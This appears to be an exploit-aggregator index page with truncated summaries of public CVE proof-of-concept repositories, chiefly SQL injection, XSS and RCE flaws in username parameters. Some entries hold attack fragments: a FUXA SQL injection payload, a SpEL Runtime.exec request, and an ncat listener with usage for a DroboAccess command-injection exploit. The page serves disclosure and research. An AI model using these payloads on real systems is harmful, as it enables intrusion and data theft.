CVE-2024-12484

CVE CVE-poc Issue Type SQL Injection Root Cause A SQL injection vulnerability has been identified in the /signuppost.php file in the “Technical Forum Using PHP Source Code” project. The vulnerability stems from the fact that an attacker can inject malicious code via the login username parameter a...

CVE-2023-49547

CVE-2023-49547 Customer Support System 1.0 - SQL Injection Login Bypass Description : Customer Support System is vulnerable 1.0 to SQL Injection. A SQL injection vulnerability in Customer Support System 1.0 enables remote, unauthenticated attackers to bypass the authentication process by exploiti...

CVE-2021-41647

CVE-2021-41647 CVE-2021-41647 SQL Injection in Online-Food-Ordering-Web-App The Online-Food-Ordering-Web-App is vulnerable to un-authenticated error and time-based blind SQL Injection attacks. The username parameter on the /login.php page does not sanitize the user input, an attacker is able to...

WingFTP-CVE-2025-47812-illdeed

CVE-2025-47812 - Wing FTP Server RCE Exploit This repository provides a proof-of-concept exploit for CVE-2025-47812 , a remote command execution RCE vulnerability in Wing FTP Server. An attacker can inject and execute arbitrary Lua-based system commands by abusing the username parameter during...

autocrack

AUTOCRACK.py This python script is a Hashcat https://hashcat.net wrapper to help automate the cracking process. The script includes multiple functions to select a set of wordlists and rules, as well as the ability to run a bruteforce attack, with custom masks, before the wordlist/rule attacks...

CVE-2021-46108

CVE-2021-46108 root@kitploit: ██╗ ██╗███████╗███████╗ ╚██╗██╔╝██╔════╝██╔════╝ ╚███╔╝ ███████╗███████╗ ██╔██╗ ╚════██║╚════██║ ██╔╝ ██╗███████║███████║ ╚═╝ ╚═╝╚══════╝╚══════╝ D-Link Router DSL-2730E - Stored Cross Site Scripting D-Link DSL-2730E CT-20131125 devices allow XSS via the username...

CVE-2024-35511

PHPGurukul Men Salon Management System 2.0 Welcome to the PHPGurukul Men Salon Management System 2.0 repository. This project aims to provide a robust system for Men Salon Management. Security Vulnerabilities CVE-2024-35511 Description: Vulnerable to SQL Injection via 'username' parameter. Affect...

CVE-2018-14699

CVE-2018-14699 UnAuth Command injection in the enableuser function of DroboAccess v2.1 Usage: To use First startup a listener ncat -nvlp 1337 Next run the exploit example: exploit.py -t 192.168.1.122:8080 -l 192.168.1.2 -p 1337 '-t', '--target', help='host for exploitation, ex...

Red-Planet-Laundry-Management-System-1.0-is-vulnerable-to-SQL

Red-Planet-Laundry-Management-System-1.0-is-vulnerable-to-SQL https://vulners.com/cve/CVE-2022-28452 https://nvd.nist.gov/view/vuln/detail?vulnId=CVE-2022-28452 https://laundry.redplanetcomputers.com/ 1-Description: Red Planet Laundry Management System 1.0 is vulnerable to SQL Injection via...

CVE-2023-31719

CVE-2023-31719 Its possible do inject SQL code into the JSON parameter "username" from the endpoint /api/signin via HTTP POST request "username":"test' OR 2891=LIKECHAR65,66,67,68,69,70,71,UPPERHEXRANDOMBLOB500000000/2-- ZJMj","password":"test" Name Affected product: FUXA Version affected: = 1.1....

CVE-2024-44541

CVE-2024-44541: SQL Injection Vulnerability in Inventio Lite v4 Description Inventio Lite v4 is vulnerable to SQL Injection SQLi in the /action=processlogin endpoint. This vulnerability allows attackers to inject arbitrary SQL queries via the username parameter in POST requests, potentially leadi...

cve-2022-22980

spring-data-mongodb-cve-2022-22980-exp A mediocre vulnerability, just making a note. 1. Start Redis, port 27017 2. Start the project, SpringBoot starts on port 6666 3. root@kitploit: GET /v1/user/get?username=Tjava.lang.Runtime.getRuntime.exec'open+-a+calculator.app' HTTP/1.1 Host: localhost:6666...

CVE-2025-47812

CVE-2025-47812 – Wing FTP Server RCE via Lua Injection Author: 0xgh057r3c0n 🧠 Description This exploit leverages a Lua injection vulnerability in Wing FTP Server 's login handler loginok.html to execute arbitrary operating system commands or gain a reverse shell. It abuses unsanitized Lua code...

Blackash-CVE-2025-47812

🛡️ CVE-2025-47812 – Critical RCE in Wing FTP Server 🛡️ 🔎 Overview: CVE-2025-47812 is a critical remote code execution RCE vulnerability affecting Wing FTP Server versions prior to 7.4.4. It was discovered by a security researcher and has been confirmed to be actively exploited in the wild. 🧱 Root...

CVE-2026-85405

Eleveo Call Recording Software 9.7.0 contains a cross-site scripting (XSS) vulnerability in the /callrec/roleAddAction.do endpoint. Manipulating the name/username argument allows a remote, authenticated attacker with user interaction to inject scripts, resulting in a low integrity impact. The exp...

Zoo Management System 1.0 - SQL Injection

Zoo Management System 1.0 contains a SQL injection vulnerability via the username parameter on the login page. An attacker can possibly obtain sensitive information from a database, modify data, and execute unauthorized administrative operations in the context of the affected site. id:...

Loan Management System 1.0 - SQL Injection

Loan Management System 1.0 contains a SQL injection vulnerability via the username parameter. An attacker can possibly obtain sensitive information from a database, modify data, and execute unauthorized administrative operations in the context of the affected site. id: CVE-2025-9744 info: name:...

CVE-2025-7753

🚨 CVE-2025-7753 — استغلال SQL Injection PoC المؤلف: Byte Reaper تيليغرام: @ByteReaper0 CVE: CVE‑2025‑7753 الثغرة: SQL Injection غير مصادق عليها، قائمة على الوقت 🔍 نظرة عامة توجد ثغرة SQL Injection خطيرة في Online Appointment Booking System 1.0 Code‑Projects في الملف /admin/adddoctor.php. معامل...

CVE-2025-8550

CVE-2025-8550 – atjiu pybbs XSS Exploit Description This repository hosts an automated Proof-of-Concept PoC exploit for CVE-2025-8550 , a reflected Cross‑Site Scripting XSS vulnerability in atjiu pybbs ≤ v6.0.0. It targets the /admin/topic/list endpoint’s username parameter, which lacks proper...

CVE-2024-55099-Online-Nurse-Hiring-System-v1.0-SQL-Injection-Vulnerability-

CVE-2024-55099-Online-Nurse-Hiring-System-v1.0-SQL-Injection-Vulnerability Exploit Author: ugurkarakoc Vendor Homepage https://phpgurukul.com/online-nurse-hiring-system-using-php-and-mysql Software Link https://phpgurukul.com/?sdmprocessdownload=1&downloadid=17826 Overview...